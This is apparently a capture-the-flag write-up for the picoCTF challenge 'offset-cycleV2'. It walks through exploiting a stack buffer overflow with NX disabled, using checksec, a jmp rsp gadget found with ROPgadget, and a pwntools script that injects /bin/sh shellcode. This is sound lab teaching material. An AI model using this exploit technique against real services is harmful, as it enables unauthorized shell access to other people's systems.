offset-cycleV2

Published: March 20, 2026

Description

It's a race against time. Solve the binary exploit ASAP.

Launch the challenge instance and connect via netcat.

Like offset-cycle but with an additional mitigation or constraint.

Solution

  1. Step 1Check protections -- NX is disabled
    Run checksec on the binary. Unlike offset-cycle which used ret2win, this version has NX disabled, meaning the stack is executable. The intended technique is a `jmp rsp` gadget + shellcode injected on the stack.
    checksec --file=./vuln
    # Expected: NX disabled, no canary
  2. Step 2Find the jmp rsp gadget
    Search the binary (or libc) for a `jmp rsp` gadget -- an instruction that jumps to whatever RSP currently points to. After overwriting the return address with this gadget, the shellcode placed immediately after the return address will execute.
    ROPgadget --binary vuln | grep 'jmp rsp'
    # or:
    ropper -f vuln --search 'jmp rsp'
  3. Step 3Build and send the shellcode payload
    Craft a payload: padding to reach the return address + address of `jmp rsp` gadget + shellcode. The shellcode can be a /bin/sh shell or a direct `cat /flag.txt` payload.
    python3 << 'EOF' from pwn import * e = ELF("./vuln") p = remote("<HOST>", <PORT_FROM_INSTANCE>) # Find jmp rsp gadget (via ROPgadget or pwntools) jmp_rsp = 0x???? # address from ROPgadget output offset = 64 # from cyclic pattern analysis # Shellcode: execve("/bin/sh") or just cat flag shellcode = asm(shellcraft.sh()) payload = b"A" * offset # padding to RIP payload += p64(jmp_rsp) # redirect to jmp rsp (lands on shellcode) payload += shellcode # executed after jmp rsp p.sendline(payload) p.interactive() EOF

Flag

picoCTF{0ff53t_cycl3_v2_...}

offset-cycleV2 disables NX, so instead of ret2win, you use a `jmp rsp` gadget to jump to shellcode placed right after the overwritten return address on the stack.